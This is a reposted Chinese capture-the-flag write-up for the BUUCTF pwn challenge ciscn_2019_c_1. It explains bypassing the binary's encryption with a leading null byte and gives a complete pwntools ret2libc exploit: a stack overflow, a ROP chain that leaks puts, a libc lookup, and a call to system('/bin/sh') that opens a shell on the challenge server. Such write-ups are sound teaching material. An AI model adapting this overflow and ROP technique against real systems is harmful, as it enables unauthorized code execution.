[BUUCTF-pwn]——ciscn_2019_c_1
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——ciscn_2019_c_1
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——ciscn_2019_c_1
- 題目地址:https://buuoj.cn/challenges#ciscn_2019_c_1
- 題目:
下載下來checksec一下
再IDA上面看一下,利用shift + f12看下字符串,發(fā)現(xiàn)沒有我們想要的字符串,也沒有system函數(shù)。
應(yīng)該是ret2libc的題型。仔細觀察函數(shù),發(fā)現(xiàn) '\0’開頭的字符串可以完美的繞過加密,不改變我們輸入的payload。或者也可以自己寫一下解密函數(shù)。
先用ROPgadget 找一下需要用到的匯編指令的地址。ret ubuntu18上有棧平衡,用來進行棧對齊。
所以exploit如下
from pwn import* from LibcSearcher import * p=remote('node3.buuoj.cn',****) elf=ELF('./ciscn_2019_c_1') context.log_level = 'debug' main=0x400b28 pop_rdi=0x400c83 ret=0x4006b9 puts_plt=elf.plt['puts'] puts_got=elf.got['puts']p.sendlineafter('Input your choice!\n','1') payload='\0'+'a'*(0x50-1+8) payload+=p64(pop_rdi) payload+=p64(puts_got) payload+=p64(puts_plt) payload+=p64(main)p.sendlineafter('Input your Plaintext to be encrypted\n',payload) p.recvline() #將下面兩個puts跳過 p.recvline() puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\0')) print "puts_addr:" + hex(puts_addr) libc = LibcSearcher("puts",puts_addr) libc_base = puts_addr - libc.dump("puts") #計算偏移 sys_addr = libc_base + libc.dump("system") binsh = libc_base + libc.dump("str_bin_sh") p.sendlineafter('choice!\n','1') payload='\0'+'a'*(0x50-1+8) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys_addr) # p64(ret)的數(shù)量不固定,可以自己嘗試。 p.sendlineafter('encrypted\n',payload) p.interactive()會出現(xiàn)兩個libc的版本,兩個都試試就可以了。
總結(jié)
以上是生活随笔為你收集整理的[BUUCTF-pwn]——ciscn_2019_c_1的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Linux下.rar文件解压
- 下一篇: [BUUCTF-pwn]——[OGeek